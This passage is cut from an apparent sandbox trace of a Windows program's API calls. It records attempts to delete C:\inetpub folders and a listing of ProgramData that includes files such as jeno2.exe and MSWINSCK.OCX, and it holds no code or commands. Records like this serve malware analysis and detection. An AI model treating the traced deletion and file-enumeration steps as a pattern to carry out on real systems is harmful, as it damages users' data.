out: lpWideCharStr=0x0) returned 7 [0087.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.051] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb58) [0087.051] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\temp", cchWideChar=-1, lpMultiByteStr=0x18eb90, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\temp", lpUsedDefaultChar=0x0) returned 16 [0087.051] RemoveDirectoryA (lpPathName="C:\\inetpub\\temp" (normalized: "c:\\inetpub\\temp")) returned 0 [0087.051] GetLastError () returned 0x3 [0087.051] GetLastError () returned 0x3 [0087.051] SetLastError (dwErrCode=0x3) [0087.052] GetLastError () returned 0x3 [0087.052] SetLastError (dwErrCode=0x3) [0087.052] GetLastError () returned 0x3 [0087.052] SetLastError (dwErrCode=0x3) [0087.052] GetLastError () returned 0x3 [0087.052] SetLastError (dwErrCode=0x3) [0087.052] GetLastError () returned 0x3 [0087.052] SetLastError (dwErrCode=0x3) [0087.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0087.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.052] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb4c) [0087.052] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.052] IMalloc:Free (This=0x767666bc, pv=0x142e020) [0087.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecd4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.052] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.052] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.052] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1430114, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.053] SysReAllocStringLen (in: pbstr=0x18ed64*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed64*="C:") returned 1 [0087.053] VarCat (in: pvarLeft=0x18edec, pvarRight=0x18edbc, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0087.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0087.053] IMalloc:Alloc (This=0x767666bc, cb=0x68) returned 0x142e020 [0087.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\history\\*.*", cchWideChar=-1, lpMultiByteStr=0x18e6e8, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\history\\*.*", lpUsedDefaultChar=0x0) returned 23 [0087.053] GetFullPathNameA (in: lpFileName="C:\\inetpub\\history\\*.*", nBufferLength=0x104, lpBuffer=0x18e924, lpFilePart=0x18e6e0 | out: lpBuffer="C:\\inetpub\\history\\*.*", lpFilePart=0x18e6e0*="*.*") returned 0x16 [0087.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\history\\*.*", cchWideChar=-1, lpMultiByteStr=0x18eb70, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\history\\*.*", lpUsedDefaultChar=0x0) returned 23 [0087.053] FindFirstFileA (in: lpFileName="C:\\inetpub\\history\\*.*", lpFindFileData=0x18e6c0 | out: lpFindFileData=0x18e6c0*(dwFileAttributes=0x18e6e0, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ed4c, ftLastAccessTime.dwLowDateTime=0x18e7f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e924, nFileSizeHigh=0x18e6e8, nFileSizeLow=0x18e937, dwReserved0=0x1446910, dwReserved1=0x695c3a43, cFileName="netpub\\history\\*.*", cAlternateFileName="\x87ë\x18")) returned 0xffffffff [0087.053] GetLastError () returned 0x3 [0087.053] GetLastError () returned 0x3 [0087.053] SetLastError (dwErrCode=0x3) [0087.053] GetLastError () returned 0x3 [0087.053] SetLastError (dwErrCode=0x3) [0087.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\history", cchWideChar=-1, lpMultiByteStr=0x18ea64, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\history", lpUsedDefaultChar=0x0) returned 19 [0087.053] GetFullPathNameA (in: lpFileName="C:\\inetpub\\history", nBufferLength=0x104, lpBuffer=0x18eb98, lpFilePart=0x18ea5c | out: lpBuffer="C:\\inetpub\\history", lpFilePart=0x18ea5c*="history") returned 0x12 [0087.053] SetFileAttributesA (lpFileName="C:\\inetpub\\history", dwFileAttributes=0x80) returned 0 [0087.054] GetLastError () returned 0x3 [0087.054] GetLastError () returned 0x3 [0087.054] GetLastError () returned 0x3 [0087.054] GetLastError () returned 0x3 [0087.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0087.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436834, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.054] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb58) [0087.054] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\history", cchWideChar=-1, lpMultiByteStr=0x18eb90, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\history", lpUsedDefaultChar=0x0) returned 19 [0087.054] RemoveDirectoryA (lpPathName="C:\\inetpub\\history" (normalized: "c:\\inetpub\\history")) returned 0 [0087.054] GetLastError () returned 0x3 [0087.054] GetLastError () returned 0x3 [0087.054] SetLastError (dwErrCode=0x3) [0087.054] GetLastError () returned 0x3 [0087.054] SetLastError (dwErrCode=0x3) [0087.054] GetLastError () returned 0x3 [0087.054] SetLastError (dwErrCode=0x3) [0087.054] GetLastError () returned 0x3 [0087.054] SetLastError (dwErrCode=0x3) [0087.054] GetLastError () returned 0x3 [0087.054] SetLastError (dwErrCode=0x3) [0087.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0087.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436834, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.055] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb4c) [0087.055] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.055] IMalloc:Free (This=0x767666bc, pv=0x142e020) [0087.055] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.055] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x759d0000 [0087.055] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.056] GetProcAddress (hModule=0x759d0000, lpProcName="SHUpdateRecycleBinIcon") returned 0x759dc5a5 [0087.056] SHUpdateRecycleBinIcon () returned 0x1 [0087.056] GetLastError () returned 0x0 [0087.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed88, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.056] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.056] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.056] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x143676c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.057] SysReAllocStringLen (in: pbstr=0x18ee18*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee18*="C:") returned 1 [0087.057] VarCat (in: pvarLeft=0x18ef50, pvarRight=0x18ef00, pvarResult=0x18ef40 | out: pvarResult=0x18ef40) returned 0x0 [0087.078] SysStringLen (param_1="C:\\ProgramData\\") returned 0xf [0087.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\", cchWideChar=16, lpMultiByteStr=0x1433584, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\", lpUsedDefaultChar=0x0) returned 16 [0087.078] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0087.078] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0087.079] lstrcpyA (in: lpString1=0x18eb68, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0087.079] lstrlenA (lpString="C:") returned 2 [0087.079] lstrlenA (lpString="\\ProgramData\\") returned 13 [0087.079] lstrcatA (in: lpString1="C:", lpString2="\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0087.079] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0087.079] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x26) returned 0x383bac8 [0087.079] GetCurrentDirectoryA (in: nBufferLength=0x26, lpBuffer=0x383bac8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0087.079] SetCurrentDirectoryA (lpPathName="C:\\" (normalized: "c:")) returned 1 [0087.079] SetCurrentDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0087.079] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bac8 | out: hHeap=0x3820000) returned 1 [0087.079] IsCharAlphaA (ch=67) returned 1 [0087.080] lstrlenA (lpString="C:\\ProgramData") returned 14 [0087.080] GetFileAttributesA (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0087.080] lstrcpyA (in: lpString1=0x18ec94, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.080] lstrcmpA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpString2="C:\\ProgramData") returned 1 [0087.080] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832ea8 [0087.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ba98 | out: hHeap=0x3820000) returned 1 [0087.080] lstrcpyA (in: lpString1=0x18e920, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.080] GetShortPathNameA (in: lpszLongPath="C:\\ProgramData", lpszShortPath=0x18ea28, cchBuffer=0x105 | out: lpszShortPath="C:\\PROGRA~3") returned 0xb [0087.081] lstrlenA (lpString="C:\\PROGRA~3") returned 11 [0087.081] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0087.081] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0087.081] lstrcpyA (in: lpString1=0x18ea34, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0087.081] FindFirstFileA (in: lpFileName="C:\\PROGRA~3\\*.*", lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed820fd0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName=".", cAlternateFileName="")) returned 0x143cbc8 [0087.081] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed820fd0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="..", cAlternateFileName="")) returned 1 [0087.081] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="Adobe", cAlternateFileName="")) returned 1 [0087.081] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x184, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0087.081] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed7d4d10, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xed7d4d10, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed7d4d10, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x184, cFileName="chk.dat", cAlternateFileName="")) returned 1 [0087.081] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x0 [0087.081] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x0 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Desktop", cAlternateFileName="")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0387900, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xd0387900, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0x8482d100, ftLastWriteTime.dwHighDateTime=0x1d60806, nFileSizeHigh=0x0, nFileSizeLow=0x710a00, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="jeno2.exe", cAlternateFileName="")) returned 1 [0087.082] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x1 [0087.082] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed820fd0, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xedf451d0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x1a730, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="MSWINSCK.OCX", cAlternateFileName="")) returned 1 [0087.082] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x2 [0087.082] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18eb5c) returned 0x2 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="Oracle", cAlternateFileName="")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18e744, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Sun", cAlternateFileName="")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0087.082] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18eb30 | out: lpFindFileData=0x18eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18e744, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0087.082] FindClose (in: hFindFile=0x143cbc8 | out: hFindFile=0x143cbc8) returned 1 [0087.082] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0087.084] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0087.084] InvalidateRect (hWnd=0x5011e, lpRect=0x0, bErase=1) returned 1 [0087.084] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0087.084] lstrcpyA (in: lpString1=0x18e99c, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.084] GetShortPathNameA (in: lpszLongPath="C:\\ProgramData", lpszShortPath=0x18eaa4, cchBuffer=0x105 | out: lpszShortPath="C:\\PROGRA~3") returned 0xb [0087.084] lstrlenA (lpString="C:\\PROGRA~3") returned 11 [0087.084] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0087.084] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0087.084] lstrcpyA (in: lpString1=0x18eab0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0087.084] FindFirstFileA (in: lpFileName="C:\\PROGRA~3\\*.*", lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed820fd0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName=".", cAlternateFileName="")) returned 0x143cbc8 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed820fd0, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xed820fd0, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="..", cAlternateFileName="")) returned 1 [0087.085] FindNextFileA (in: hFindFile=0x143cbc8, lpFindFileData=0x18ebac | out: lpFindFileData=0x18ebac*(dwFileAttributes=0x2010, 